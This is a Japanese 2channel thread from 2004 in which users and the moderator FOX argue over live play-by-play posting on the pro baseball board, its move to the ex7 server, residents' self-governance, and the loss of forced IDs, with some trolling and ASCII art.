あきらめちゃいないが、そう簡単にいわないでくれ。ってことだと思います。
orz,,
○Really?
どんな単語だよ、、＞reary
野球アンチがその気になれば板閉鎖まで追い込めるって訳か
またいつもの展開ですなぁ〜
荒らしてるのは住人じゃないうんぬんかんぬん
FOXならずとも聞き飽きてるよん
>>359 のような事を言う人が沢山居るので、仕方ないですなぁ 野球板はまだわかっちゃいないのか。
誰が実況してようが実況が慢性化してる板はお取り潰しと決定が下ったんだろうが
そういえば格板でもボクヲタがわざと実況したりしてたね
>>323
2) 普段からの口先介入やexおくりで実況を止めて欲しいと思った。
口先介入は知らないけど、ex送りで実況が止まるわけがないです。
あと、はっきり言って、荒らしや板アンチを住人の力でどうにかしろなんてのは無理な話です。
この主張は変えられません。
板閉鎖はやめてくれ、なんては言いません。2chとはそういうものだと思ってあきらめて新しい地を探します、自分は。 全部板削除しちゃえばいいじゃなーい＾＾；
ところでなんで>>368みたいなのがいるんだろうね？＾＾；；；；；； 368みたいなの??
IDが微妙にぬるぽっぽい・・
俺が野球板の住人と信じて良いのかい？
>>366に書いた自分の考えには嘘偽りはないですが、自分が野球板の住人であるかのように偽装して書きましたよ。
正直、釣れちゃったって感じなんですけど。
某王様と同じくあなたも利用されやすいんじゃないですか？ 実況の責任はその板の住人に責任があるというんだから、ここでの発言もこの板の住人の責任です
それなりの人数そろえれば２ちゃんを潰すのは意外と簡単なのかも(笑)
>>374 ﾂﾏﾝﾈｰ
信じる・信じないは読み手次第。本気でナントカならないかと思う人が沢山いるなら
反論もあると思うし。
ないと言うことは…
↓ ハッキリ言って他の板からわざと実況に来る連中を止めるのは困難だ罠
報復に相手の板も実況で荒らしまくって
上手いことどちらの板の住人も実況荒らしを止めるって線で妥協に持ってくしか方法が無いだろ
海外サッカー板が一時閉鎖したときも、とどめの実況は故意に実況する荒らしでしたよ。
それまで実況が続いていて良くなかったから、そういう結果になったのかも。
ふだん努力している掲示板や、通常は実況が無い掲示板で荒らしが故意に実況しても
板閉鎖とかの制裁はないと思います。
サーバ管理者が、掲示板に変化を起こす引き金については確信しました。
工作員の実況は、最後の藁(ラストストロー)だったのかも。
たとえば >>383 さんのレスを題材に話しますが
最後「〜〜だろ」で終ってしまっているんで意味不明なんですよ
それから先は仕方ないから推測するんですね、
「〜〜だろ、私はもうあきらめました」ってサ 自治を諦めた板から、総てを他者の責任にして努力を放棄した板から、
サーバ管理者は刈り取っていくわけですね。
プロ野球板はもう戦えないのですね。
諦めは人を殺す
>>383
そんな事はこのスレの人間ならほとんど知っていることですよ。
わたしですら２年前に気が付いています。
特定の板の住人でない愉快犯だったらどうするうもりなのか…。
日本シリーズやワールドカップの時だけ人があちこちから集まってくる
場合に報復で止めるのは無理ですよ。 397 名前：代打名無し＠実況は実況板で ：04/10/02 13:59:23 ID:7ues1DmS
騒げ騒げ
こんなピロ野球のクソ板なんてイラネｗｗｗｗｗｗｗｗｗ
どうやったらこういった連中に制裁できるもんかなあ。
さて、
今日の会話はこの数ヶ月間を踏まえてのことですんで、
次ぎ行きますか、
つまり
今更反省しても無駄なのに、わざわざここまで来て決定を促す発言をした人がいた、と
２ちゃんでは荒らしには抵抗するな放置しろと教わってきた
放置したらいけないのなら総合案内の使い方＆注意を書き換えて欲しい
どれにするか考え中。。。
1) base@ex8 は閉じて、livebase@live15 にリダイレクト
2) ex8 -> ex7 移転
3) あとなにあるかな、、live8 が直るまで base@ex8 は停止して・・・とか?
ちょうどセパ両リーグとも優勝チーム決まったし
来シーズン始まるまで閉鎖でいいんじゃない
>>383
極端な話だけどさ・・・板住人(ほぼ毎日その板を見て数回は書き込む人)は
全員が自治を意識して実況とかが起きたら全力でそれを止めてもらわないと運営としては困るのよ
それこそ荒らしまがいに実況より速い速度で「やめれ」を連発すれば狐さんもそこまで言わないと思うのよ
年に一度の祭りだから無礼講ってのは通用しないの。
ネットの特性上他から来たとかアンチがやってるとか状況証拠は出ても物的証拠は出ない。
故に客観的に見ればファンである人たちがやってると考えたほうが自然なんだよね
実際どういう考えの人がやってるかなんかわからないから同じファンだと思って何が何でも止める
こっちに来てる暇があったら自治スレでどうするか話す。まずかったら運営の人から来てくれるから
言い訳する暇があったら行動しろってことだね ちょうどぷろ野球板の自治スレも１０００行った事ですし、キリがいいということで
とっとと閉鎖して下さい。
そしたらアンチ野球の人もサカ板なんかの生息版に帰られて活動するでしょうし
荒氏も分散してちょうどいいんじゃないかと
狼板は実況し放題
実況するのが当然と思ってる
まあ、運営が許しているのだから当然といえば当然だけど
390 名前： 動け動けウゴウゴ２ちゃんねる [sage] 投稿日： 04/10/02 14:00:23 ID:rNJMo+od
>>383
そんな事はこのスレの人間ならほとんど知っていることですよ。
わたしですら２年前に気が付いています。
特定の板の住人でない愉快犯だったらどうするうもりなのか…。
日本シリーズやワールドカップの時だけ人があちこちから集まってくる
場合に報復で止めるのは無理ですよ。
391 名前： 動け動けウゴウゴ２ちゃんねる 投稿日： 04/10/02 14:00:42 ID:VYUMvlb4
397 名前：代打名無し＠実況は実況板で ：04/10/02 13:59:23 ID:7ues1DmS
騒げ騒げ
こんなピロ野球のクソ板なんてイラネｗｗｗｗｗｗｗｗｗ
どうやったらこういった連中に制裁できるもんかなあ。
397 名前：代打名無し＠実況は実況板で ：04/10/02 13:59:23 ID:7ues1DmS
騒げ騒げ
こんなピロ野球のクソ板なんてイラネｗｗｗｗｗｗｗｗｗ
どうやったらこういった連中に制裁できるもんかなあ。
393 名前： FOX ★ 投稿日： 04/10/02 14:04:21 ID:???
さて、
今日の会話はこの数ヶ月間を踏まえてのことですんで、
次ぎ行きますか、
394 名前： 動け動けウゴウゴ２ちゃんねる [sage] 投稿日： 04/10/02 14:05:04 ID:NgpzVCch
>>393
どうぞどうぞ
395 名前： 動け動けウゴウゴ２ちゃんねる [sage] 投稿日： 04/10/02 14:06:13 ID:Z3fL3F+j
つまり
今更反省しても無駄なのに、わざわざここまで来て決定を促す発言をした人がいた、と
396 名前： 動け動けウゴウゴ２ちゃんねる [sage] 投稿日： 04/10/02 14:08:21 ID:gOt35jhc
２ちゃんでは荒らしには抵抗するな放置しろと教わってきた
放置したらいけないのなら総合案内の使い方＆注意を書き換えて欲しい >>397
2) ex8 -> ex7 移転
これのどこが懲罰なのか自分には理解不能 正直古い落ち着いたスレっていうのは自治機能もきちんと働いてるような気がする。
いわゆる糞スレ系がいきなり立って超実況モードにはいってても
普段自分は専ブラつかってるからそもそも存在にすら気がつかないことも…
あと、実況を見かけた瞬間に実況板誘導レスをするのは簡単だけど、
>396さんとおなじく嵐はスルーってのをたたき込まれてきたので、
嵐さんにレスするのってちょっと抵抗あるんだけど、
実際に実況行為を見かけたときにはどういった対応をするのが一番正しいの？
とにかくひたすらに実況誘導＆実況するなレスをつけまくる…？
>>413
LA=200いったって全然重くない事もある。
tiger(しかもDualCPU)+ジンギスカンですから。
まあ狼と同列って事が懲罰なんだろうけど ex7アホみたいに軽いよ
たまに鯖落ちとか書き込めなくなるけど
ＮＰＢ、再編、殿堂、総合、アンチを一斉に廃止しないと、残った板に流れるだけでは？
>>415
ほう、じゃあsage復帰禁止も条件に加えると立派な懲罰になるのかな？
あそこ、よく板一覧が壊れるからなぁ。。。
でも、それもなんかやだな、 競馬は見事に懲罰っぽい待遇だろうなぁ
後の2つは快適かもしらんがex7
>>418
ここで文句たれる暇があったら削除依頼しろよ(;´Д｀) 「あきらめたら、そこで終わり」って事ですね。
もう一度、野球板で活動したいです。って危篤な人がもう
野球板には居なくなってしまったのでしょう。
ここらへんは2chを知ってるかどうかだと思うのだけど、少なくとも
ここまで問題にしてても住人がここに居ないってのは問題外だろうし、
居ても諦め発言ばかりならそれが板の総意って事になるだろうし。
自治厨ってのも、皆無だときついもんよ。
正直何が懲罰なのかわからん
鯖が強力になってるみたいでex7もそれほど重くなることもないだろうし
強制ＩＤにしてくれ
ただでさえアンチが多いんだから
FOX★さんの考えも>>404とほぼ同じって事でいいんでしょうか？ >>430
削除人さんにとっては削除の練習をするとこだったり マジでお願いします。IDがなくなれば余計に荒れるのは目に見えてます・・・。
>>436
交流試合と日本シリーズがあるじゃないか >>433
そんな鯖だったなんて初めてしったよ！
勉強しなおしてきます アンチがわざと実況してその板を閉鎖させようとする場合があるらしいが。
そこら辺対応できんのかよFOXさんよ
>>437
楽しそうですね
ていうか誰を恨めばいいんだ、この場合は。 実況禁止は鯖負担が主要因なんだろ、
なのに、荒しを上回るレスつけろって本末転倒じゃねーの？
とりあえず>>396に答え出してほしいねぇ ex7 は実況したって 「ふーん」だし
でも 練習中の削除人さんがいたら削除されちゃったりするかも知れないし
なかなか スリリングですよ
VIP で VIP クォリティやってたりして、bbs.cgi が 500 エラー出したり
競馬の時間はとても重くなったり
いろいろ いろいろ
夜勤さんもけっこう冷酷だなぁ。
見てて面白いけど。
質問ですが、スレの移転はないんでしょうか？
新しく立て直さなければいけませんか？
もうどうせならサーバ移転だけじゃなくてカテゴリ移転もしよーぜ
荒らしはスルーってのがダメ、移転先はID無しで自演し放題。
まるで荒らしは構ってあげなきゃいけませんよって言ってるみたいなんだが・・・
野球という競技自体が荒らされる原因なの。
諦めたほうが救いがある。
>448
ごめんなさい、実況行為に対する対処法を質問してるようにしか読めないんだけど
どこがどうクレクレなんですか…？
結局住人はどうすればよかったのかそれをおたずねしたかっただけなんですが。
野球板に鯖がほしければ●を買えといわれて素直に●買った人間としても
なんだか納得いきません。
>>445
いい機会だから聞いときたいんだけど、ex7だと実況はふーんなのにコピペ荒らしとか
保守荒らしを規制するのは何で？ >>444
たくさんの人が同じものを見ることによって時間を共有してると恐ろしい負荷になりえるから
逆に1分1レスでも実況は実況 >>452
あなたが納得する答えを私は持っていません。
ごめんなさい。 >>449
カテゴリ雑談にまわしたら、ひょっとしたら負担が減るかもな（ｗ >>457
野球という競技が背負った哀しい性ということですね。同意。 なんだ、けっこう良い鯖に移転できたんだな
連続投稿規制も緩くなったし良かった
>>457
そんことでは悪徳商法に騙されますよ。
気をつけてください。
>>455
誰も今更実況の定義など問題にしていない。 >>462
私は私の考えを書いています
同じような考えを持った人が居ても不思議じゃないですし
別の考えを持っている人が居ても不思議じゃないです。 煽りに来ている所謂アンチと呼ばれる者達を、
煽り返しているのを見てこりゃ駄目だと思ったがな。
>>456
ん？程度の問題なのか？
exは荒らし隔離が目的で、きつい規制を強いると他に流れちゃうから
板設定もゆるめにされてるのに、荒らしを規制しちゃうのは矛盾してない？ >>466
糞スレ乱立されてるんですが。
どう責任をとるんですか？ 結局FOXが無能だから、こういう方法しか思いつかなかったってことだろ
>質問にもロクに応えられないし
言ってみれば、手がないからこうなるんです。
諦めて寝るが吉だと思いますよ。
諦めたころに光が見えます。
ex7ってことは削除人の練習材料を提供しなきゃいけないんだから糞スレ乱立は当然
>457
質問の仕方がわるかったのでしょうか。
こちらのスレでも何度もでている質問のようですが結局はっきりした答えがでてない
ようなので
「実況行為（荒らしであろうとも）を見かけた場合には、即実況板への誘導レスを行う。
すなわちそれが自治行為であり、それを板住人が怠った場合には板全体への懲罰もやむをえない」
というのがが正しいのかどうかだけお教えください。
荒らしはスルーとか一レスごとに実況誘導をつけていたら負荷が恐ろしいことになるとか
そんな枝葉はとっぱらって、上の質問だけならイエスノーでお答えいただけるかとおもうのですが。
>>469
おいおい、「もう知らん」っていう結論での結果なのに
どう責任をとるんですかってどういうことだい >>466
FOX★さんの意見が聞きたかったのですが
>>404のようなヒントになるような意見は書かないって事ですか？ 結果責任ということです。
文句なら野球の主催者に言え。
>479
>473にはいかいいえだけいってから消えるなら消えてくださいよー
そうでないとほんとどうしたらいいのかﾜｹﾜｶﾗﾝままです。
考えるのめんどくさい人が運営やってるんですか…（絶句
逃亡と言われるのが嫌でとりあえずカキコはするが結局質問には答えない
無能にも程があるぞＦＯＸよ
金出してる人の勝ちですよ。
●のことじゃなくてね。
>>481
江之島狂兵衛さんあたりに訊けばよいとおもわれ >>484
有能な君が誰もが驚くような妙案を出せば、
「無能」なFOXに任せずに済むんじゃない？ ID消したのはアレか、もう報告も何もここにくんなってことか
>483
自治の定義もないまま「住民自治が足りない」って言われた板住人の立場にもなってください。
根拠なしにふりまわされるのじゃ本当に迷惑なだけですよ。
考えるの面倒ならいっそ運営からも手を引いていただきたい。
結局２ちゃんも何かしらの利権がからんでて、そのせいで上層部が腐敗してるんだろ(笑)
>>493
各センテンスにこれほど脈絡がない文章もめずらしい >>499
こんなとこ見てる暇があるなら板に帰って楽しめと >>497
こんな簡単な文章を理解できない奴はもっと珍しい もしかして、>>302が引き金引かせちゃったのか？
んなワケ無いと思うが一応、スマンかった。＞野球板自治の人。
傍観者の感想だったんだがな？推測どおりだったとはOTL
ex7鯖に移転してくれてありがとうございますm(_ _)m
野球板に活気が取り戻りました！
予想通り厨達が見境無く暴れてるな。
しばらく頑張ってくれれば野球板は完全にあぼーんできるな。
ここで管理側に何を言ってももう無理だよ。
猶予期間中に態度で示せなかった。
野球という競技の敗北は決定してしまった。
>>515
それを第一に望んではいませんが
閉鎖することにも意味があると思ってます。 「荒らし」ってなに？ △ ▽ ▲ ▼
平たく言えば、他人に迷惑が掛かる書きこみはアウトってことです。。。
荒らし行為に遭遇した場合は、諌めたり挑発したりなど、むやみに対抗しないようにお願いします。
特に荒らしを煽るのは逆効果です。
荒らしに反応したらあなたも荒らしかも。。。
※ただし実況荒らし行為に遭遇した場合は、やめさせるように各人で努力してください。
やめさせることが出来なかった場合は板ごと懲罰を受けるかも。。。
↑
こんな風に加えて欲しいです。
ぶっちゃけた話、一介の私的なフリーサイトに於いては
運営に「利用者のために何かをやる」"義理"なんてないんですな。
自分達の想定する"利用者"の、自分達の想定する"彼らの利便に良さそうなこと"を
自分達にできる範囲且つやりたい範囲でやれば済むのです。
それが個々の利用者にとって、満足できるものでないとしても
最終的には、それは諦めるしかない。
>>473
まず、今回の話はここでの自治放棄な発言とそれへの反論すら無かったのが
原因と思われますので。
＞「実況行為（荒らしであろうとも）を見かけた場合には、即実況板への誘導レスを行う。
＞すなわちそれが自治行為であり、それを板住人が怠った場合には板全体への懲罰もやむをえない」
怠ったから即と言うわけではありませんよ。長い目で見て機能していないと判断されれば
懲罰対象にも成り得るでしょう。
でも基本は、実況は誘導、しかし目に見えて荒らしならスルーも入れつつ削除要請。
で無いですかね。
＞というのがが正しいのかどうかだけお教えください。
各論がありますしその時々の情勢で判断が変わるので、正しいかどうか
なんて誰にも判りません。
但し、方向性として間違ってたりやばかったりするとちゃんと介入してきます。
（お止め組導入とか）
自分達のやってる事に疑問を感じるのは良いことですけど、それを自分達で議論せず
運営系に聞くのは、自治が成り立っていないと判断されかねなかったりします。
＞荒らしはスルーとか一レスごとに実況誘導をつけていたら負荷が恐ろしいことになるとか
＞そんな枝葉はとっぱらって、上の質問だけならイエスノーでお答えいただけるかとおもうのですが。
質問しに来る事自体が既に（ｒｙ
>>516
古参がやったら練習とは見てもらえませんから、是非とも新人として名乗りを。 あのさーやっぱり結論出てるじゃん
お止め組解散しかない。
あとは自治の力にお任せ
>>520
いやいや、お止め組。の思想を勉強する上で
その練習として削除しるのですよｗ
お止め組。の考え方ってこの夏からはじめた新しい考え方なわけで
そういう意味では上級削除人も初級削除人もないんじゃないかなぁ。。。
で、お止め組。＠削除人部門のための演習場＝ex7ってことで。 野球板 ex7になったから
実況解禁になったと勘違いしている厨が大杉なんだけど
>>523
ここまでの流れと関連スレ見てそう思っただけ
少なくてもバシバシ止めるだけでは実況抑止効果はない
日々、地道な誘導が一番効果アリかと思うけど >>523
>>445
>ex7 は実況したって 「ふーん」だし
>でも 練習中の削除人さんがいたら削除されちゃったりするかも知れないし
>なかなか スリリングですよ
練習したいので削除権下さい
メールしても良いですか V ~-ｖ( ・鏡) ／ﾌﾟﾙﾙﾙﾙ･･･
［ □］ ﾍﾍ ノヽ 苗 ￣
ｶﾁｬ
＿＿＿＿＿ ／￣￣￣
（ はい、もしも| （￣（●●）￣）おれおれ
￣￣￣￣∨ ＼
|／￣￣￣
V (・鏡・】>
［ □］ ﾍﾍ ノ ｀~~田
V ( ・鏡) ｶﾁｬ･･･
［ □］ ﾍﾍ ノ￣苗
>>526
野球板はもう板そのものをあぼーんするしかないでしょう。
FOX先生、お願いします！ プロ野球板が酷い状況なのはわかった。見捨てる気持ちもわかる。
けれど、せめてID表示はしてくれ。
ただでさえめちゃくちゃな状況なのに、同一人物のレスなのかわからなくなったら、さらに収拾がつかなくなる。
回線をつなぎなおしたらIDが変わるとはいえ、複数投稿の抑止効果はあったはずだ。
ex8 -> ex7 だと、どこが変わったかイマイチわからない
ex7鯖がex鯖中のex鯖だと言うなら
superex鯖、略してsex鯖に改称すべきでは
すいませんすいません
ﾉﾉﾉﾉ ﾉﾉﾉﾉ ﾉﾉﾉﾉ ﾉﾉﾉﾉ ﾉﾉﾉﾉ ﾉﾉﾉﾉ ﾉﾉﾉﾉ
(ﾟ∈ﾟ ) (ﾟ∈ﾟ ) (ﾟ∈ﾟ ) (ﾟ∈ﾟ ) (ﾟ∈ﾟ ) (ﾟ∈ﾟ ) (ﾟ∈ﾟ )
/⌒|/⌒ヽ./⌒|/⌒ヽ./⌒|/⌒ヽ./⌒|/⌒ヽ./⌒|/⌒ヽ./⌒|/⌒ヽ ﾉﾉﾉﾉ
＼ミ/彡丿＼ミ/彡丿＼ミ/彡丿＼ミ/彡丿＼ミ/彡丿＼ミ/彡丿∈ﾟ＿)
ヽ / . ヽ / ヽ / . ヽ / . ヽ / . ヽ / /⌒ﾉﾉﾉﾉ
/∨ ヽ /∨ ヽ /∨ ヽ /∨ ヽ /∨ ヽ /∨ ヽﾐｲ ∈ﾟ＿)
| | 丿 | | 丿 | | 丿 | | 丿. | | 丿 | | 丿. | /⌒ﾉﾉﾉﾉ
| | / . | | / | | / . | | / . | | / . | | / . ﾐｲ ∈ﾟ＿)
| | .ﾉ | | .ﾉ . | | .ﾉ | | .ﾉ . | | .ﾉ | | .ﾉ. | /⌒ﾉﾉﾉﾉ
彡彡 彡彡 彡彡 彡彡 彡彡 彡彡. . ﾐｲ ∈ﾟ＿)
| /⌒ﾉﾉﾉﾉ
ﾐｲ∈ﾟ＿)
>>536 | /⌒ﾉﾉﾉﾉ
↓ ﾐｲ∈ﾟ＿)
ﾉﾉﾉﾉ ∧∧ . | /⌒ﾉﾉﾉﾉ
(＿ﾟ∋ (；ﾟДﾟ) ﾐｲ∈ﾟ＿)
( ⌒＼ / | | ( (
ヽヽ个彡 〜（,, ＵＵ） | ) )
））. | | //
（（ | | ﾉﾉ
ヽヽ. | |ﾉﾉ
( ( | 彡ヽ`
.ゝゝ|
′′ ﾐ >>526
445 名前：FOX ★ 投稿日：04/10/02 15:12:21 ID:??? New!!
ex7 は実況したって 「ふーん」だし
こんなこと言えば、「実況してもいい」と思われても仕方ないな 実況常連の狼もex7だしね。
しかし何かおこっても放置主義だから、あきらめましょー>>535 IDなくした方が醜い煽りあいがなくなっていいと思うんだが
モノホンは>>542のとおりだし IDは基地害対策じゃなくて基地害を構う人対策だしね
IDのおかげで軽度のｷﾁはNGに入れて見ないで済んだ。
確かに神聖ｷﾁｶﾞｲはどうしようもなかった。
でも、ﾚｽが誰だかわからないということになると、割れ窓理論みたいにどんどんダメになって逝きそうで・・・
当方は２ちゃん最下層の狼住人ですがIDなくても狼はマトモですよ
真性キチガイは売上議論スレに閉じ込めてるし
メンバーのアンチスレだって回転が早いから
大抵は5０レスもいかずにdat落ち
変なヤツは全部自演扱いにできると言うメリットもあったりする
exは基地害がよそ様の板に出かけていって
迷惑かけないように規制緩くしてあるしな
>>546
人の心と力を信じるんだ！
つーか脳内あぼを使え＆割り切って楽しめ 実況を根絶する方法を考察するスレがこうなってると
実況が止まない板は閉鎖するしかないなと思ってしまう
ex7送りの原因は実況してるから、ではなくてこの板で騒ぐから、でしょ。
じゃあbaseは実況と関係ありませんね。
以後この話題は別スレ立ててくださいって事で。
野球板にくる奴ってけっこうな数なんじゃない？
そいつらを好んで敵に回すというのは…
批判要望板にも野球関係の議論スレあったけど
あっちもex鯖規制強化で落ちたしな。
狼住人の方が敵は多いだろうけどex7でうまくいってるみたいだけど。
とっとと消しゃいいじゃん。個人ｻｲﾄなんだから板消そうが無問題だろ？
>>564
狼が? ＞人が少ない
２ちゃんねるで一番書き込みが多い板ですけど、、 狼も野球板なみの（いやそれ以上か？）のすったもんだの末
ex7になってようやく落ち着いたんだけどね。
書き込む奴の意見しか反映されないのに住人の数も多数も少数もクソもない
あれで人が少ないのかー
どおりで俺がよく行く板が過疎ってるって言われるわけだ…
それでも狼はちゃっかりカウンターの値が5〜8位くらいにはくるかならぁ。
samba24で検出された書き込みの1時間のユニークホスト数も2000は超えてたし、、
書き込んでる人の数は言うほど少ないというわけでもないかも、、書き込み数ほどは多くないけど。
ROMが少ないってことだよ
狼＝書くことに意義がある
内容は無いけどな〜ｗ
彼らはスレランキング50位以上でも過疎って言うからな。
レス＝盛り上がりだと思ってるみたいだ。
>>572
ちゃっかりカウンターの値って、書き込み数とは関係なく、index.htmlが読まれた回数なんですよ。
ちなみに狼は1日60000程度。その値が2ちゃんねるで5〜8位ってことで、、、
（上位4つの芸スポ＋、ニュー速＋、ニュー速、フジ実況はダントツだけど）
いや、もしかしたらIEから書き込んでる分もあるかもしれないけどさ、 狼のようにスレと関係無い雑談をするインターネットはここですか？
話を元に戻すと
実況が問題になってる板を一つの鯖に集めて
物理的に実況をし難くする方法が一番手頃で良いと思うんだけどね
野球板のex7鯖移転なんかはその良い例になりそう
>>575
そうなんだぁ
難しいことはさっぱり分からないけどｗ
専ブラ率は高いと思う
まあ昔に比べたら大人しくなったと思うよ
ex鯖出ても良いかもと言ってみるｗ 乗り遅れ
>>330 φ(｀д´)Sir Yes Sir！ プロ野球板、無くすなら無くすで構わんのだけども、いかんせん一部の阿呆が
他の板に危害を加えに行きそうで怖い。
そもそも荒らしなんざ、ネタ関係無く食いつけりゃイイんだろうし。
にしても強制ID表示の荒らし抑止はそれなりに意味あったと思うんだが。
あろうが無かろうがあそこはあんま関係なさそうだけどな
>>586
言い方を間違えたな。
「ID無くなったら今以上に荒れる可能性が出てくる」が正解。
一応、住人だけど荒らし・蔑称使い多すぎて気分悪くなって特定スレにしか
出入りしてないよ最近。
いっそ球技カテゴリじゃ無くてどっか過疎カテゴリに放り込んでもらった方が
良いのかも知れんとか住人ながらに思う。＿|￣|○ 野球板って強制ＩＤだったよな？確か。
今野球板を見に行ってきたが、強制ＩＤでなくなったせいで各球団の本スレに
自作自演を互いに疑う嫌な空気が蔓延してるね・・・
つか、上がってるスレは延々と一人の厨房がレスし続けているような・・・悲惨だなぁ。
もう決まりだな。野球板のスレは他板に流出して総攻撃。
お止め組を入れてほしいんですけど・・・
板閉鎖も覚悟です
最近どれだけ野球板で実況されてたんだ？
データ教えれ。
実況がどれだけあったか、ということよりも
住人がした実況を防ぐための努力が足りなかった、というのが
問題かと。
>>595
努力さえすれば実況を防げなくても仕方ないということですか？
それともやはり結果を見て言うんですか >>595
そもそも実況を防ぐ努力って具体的に何？
個人個人が実況しないという自覚を持つことぐらいしかないんじゃ？
それとも住人がお互いに「実況はしないようにしましょう」と呼びかけるのか？
それで事が済むならどんなに楽な事か 実況してるスレは報告するとか、実況を前提とするかのようなスレは削除依頼を出すとか、
テンプレに実況厳禁を入れるとか、やろうと思えばやれること。
>>596
努力がある内は生暖かく見てますよ。
結果を参考にしないわけでもありませんが、それで見捨てるって事は無いですね。
結果を見つつ、色々色々。
で、結果改善もせず、努力も無くなってしまったのなら仕方無いですね〜と。
もがくなら、もがいてる内は見ていてあげますよ〜と。 >>601
そんな当たり前のこと今更言っても・・・
そんなこと言われなくてもやってるし 努力が足りないというより、努力する意思がない＝この先改善に向かう見込み
無しと判断されてしまったような
このスレを見てても、実況を無くすことよりも、実況しても許される条件、
止められずに済む条件を探ることに熱心だったんじゃないのかな
結果論でしかないのだが、板の住人として板を守るために実況根絶に取り組むのが
正解だったと思われる
野球板の自治住民は圧倒的に数が少ないからねえ。
個々人がいくら努力しようが、実況根絶なんてどだい無理な話だわな。
>>606
なんでそんなことが言えるんですか？
たとえ1人でも実況を減らすことはできますよ。 ex7鯖から抜け出せた板は今のところ無い
あきらめろ
>>609
実際にできたから言ってるんです。
プロ野球板ではないですよ。 まだここでうだうだ言ってるのがex7送りの直接原因だと
気づいていない人がいるのか。
>>610
＞プロ野球板ではないですよ。
当たり前でしょ。
仮にあんたの言葉が事実だったとしても、
板ごとに人口も住民の性質もすべて異なるんだから
「プロ野球板でも出来る」というなんの根拠にもならないだろうに… ん？俺に言ってるのかな？>>608>>611
俺プロ野球板じゃないぞ。信じてもらえるか知らんが。
もっともここで何言っても意味が無いのは事実だから
発言はこれきりにするがな。 あれか。プロ野球板の利用者はつまり,プロ野球にかんする議論や会話が嫌いなのか。
プロ野球を愛してないってこったな。ﾔﾚﾔﾚ
>>612
>>606のレスに対してのものなんだけど
そのことわかってる？
＞自治住民は圧倒的に数が少ないから
＞個々人がいくら努力しようが、実況根絶なんてどだい無理 ハン厨どもが実況板に出てこられるの迷惑なんだけど。
とはいっても実況板以外は実況禁止ということで、ハングル板を例外扱いする
わけにはいかないし、でも実況板にいる私としては非常にうざい。
ハン厨や右翼、左翼馬鹿どもを隔離するために東アジア専用実況板をつくってくれない？
ここで野球ネタで騒ぐ人に
本当の野球板住人は何人いるのかと
ふと気になった
まあ、どっちみち今年いっぱいで閉鎖だろうけど
どうでもいいけど、今一度>>1を見て欲しい
ここは各板の自治相談や愚痴を聞くスレではありませんよ ニュー速、また実況してるし…
あそこにもお止め組配置したら？
個人的には野球板が潰れる事に賛成。
というか、大々的な修羅場となった末に潰れて欲しい！！
見せしめとなる犠牲者が出てくれば、「自治厨ウザい」とか
戯けた事言う連中も減るだろうし。
その為には、如何に2chﾈﾗ全体の注目を野球板へ引きつけるかだな。
観衆は多ければ多い程良い。
もちろん、多数の飛び入り参加も大歓迎でつ。
>>618
脳内あぼーんは2ch推奨スキルのひとつですよ。
>>619
あっちの自治スレと一緒に見てると判るかも知れないけど。 プロ野球板が移転したので、Samba24が10secになって、
ちょっと楽しいヨ！☆
>>589
・・・と、ならないように規制を緩和しているわけですよね>ex7
特に、荒らし（実況野郎を含む）にとって他鯖よりも快適だから、
他鯖への侵攻を減らす効果大
ヘタに板を止めたり廃止したりすると他板に被害が及ぶから、
生かさず殺さず居場所だけ提供すると。 >>620
1初めて読んだけどなんだこれ。
定義決まってないのに根絶ってｗ 実況根絶の努力してないって、少し前に板止めたときに比べて減ってないってことだよな？
ちゃんと数字で納得させてくれよ。
漏れには以前に比べて減った印象しかないんだが。
まさかたまたま中日優勝とイチローの年に一回程度の話じゃないよな？
別にたまにだからいいだろといってるわけじゃないが。
ＵＥＦＡ始まってたのしいな
あＦＯＸははやくサカ板をｓｐｏｒｔｓ板に戻せよ
仕事しろやあ
さてさて,原点に戻ってみよう。
ここは２ちゃんねる。カテゴリごとに別れた板で各々が自由に発言のできる場所。
ただしその発言には全て自己責任が付きまとう。
板の(２ちゃんねるの ともいう)行く先はそれぞれの利用者に掛かっている。
管理人的には原則として実況は禁止。がしかし,実況を行う輩がいるので
実況を専門に扱う実況板ができた。
野球に限った話ではありません。板の行く末は利用者の使い方次第だと。
>>637
不憫だよねえ。
可哀想だよねえ。
とも子さんを何とかしてやってください。 「実況」の定義より、「実況の根絶」の定義の方をハッキリさせて欲しいような。
>>633
その定義が正しいなら「古田男泣き」だって実況なわけで。
それを「守るべき実況」とかいいだした人が事態を混乱させていると思われ。
誰とはいわんがね。 これでいいんでないか？
215 名前：代打名無し＠実況は実況板で[sage] 投稿日：04/10/03 00:22:09
もう野球実況ch=野球板になるだろ、来年は
まともな議論は各避難所
>>643
いや、どういう状況を持って「実況を根絶」とするのか、って事で。
辞書通りって「２ちゃんから実況が全く無くなる」？ >>644
そうですか?
基本定義があっても止める必要がないわけですよ?
・止めるべき実況を止めなかった
・止めなくてもよい実況を止めた
利用者にとってどっちが重大なんでしょう? まぁ無理だろう。
野球という競技自体が引き連れてきた住人だもの。
自治できるはずもなく。
球団同士ファン同士が足の引っ張り合い。
そんな競技に未来があるはずもない。
もちろん板の将来も同じ。
これが現実だ。
>>644
でも「実況は実況板で」とも言っているわけで。
「守る」ってのは「実況板に上手に持っていく」って事じゃないの？
違ってたらゴメン。
>>649
ええと、スレタイには「実況を『根絶』する方法の考察・実験」ってあるんですけど、
「実況を『根絶』」＝「実況は実況板で」でいいんですよね？
ここ再定義しておかないと、方法の考察なんて出来ないと思うのは私だけ？ まあ、実況板をとばないようにさせることが第一段階だな
簡単にとぶようじゃいくらでも他に板になだれこむのは明白じゃん
>>652
最近の日本野球が嫌い。最近の野球板が嫌い（味噌だの珍だの）。
別にサッカーファンというわけではない。 >>655
いや、それプラス>>194を考慮して言ってるんだけどさ
じゃ「突発ものは例外として落ち着くまで鯖飛ばさないように(鯖の中の人が)頑張る」のが対策？
他に何もしなくて良いのかな？ 突発だから、事前策は無理としても事後策とか
ホイホイ削除すんな〜、てのは同意だけど。 止めなくても良い実況などない
実況禁止なんだから全部止めるべきだ
全ての実況に適用すれば無駄ないざこざは起こらん
>>653
根絶のための第一歩は「実況は実況板で」の徹底になるかと
で、ご存知の通り、実況板に行かない人達をここでは対象（問題）
にしているわけで、その人達を如何にして実況板へ導くかってこと
を実験・考察しているわけです
そういう人達の多い板でも>648で書いた「止めなくてもよい実況を
止めた」っていうのは、厳密には通常の実況とは異質のものであ
ると個人的には思ってます
この「個人的に」という部分が、Case by caseで真の考察の段階
だったりするわけですが >>658
圧政は暴動の元ですよ、とマジレスしてみる
>>660
なるほど〜、そう説明してもらえると良く判ります。
ログ追っかけてみても、現状がはっきり判らなくて。
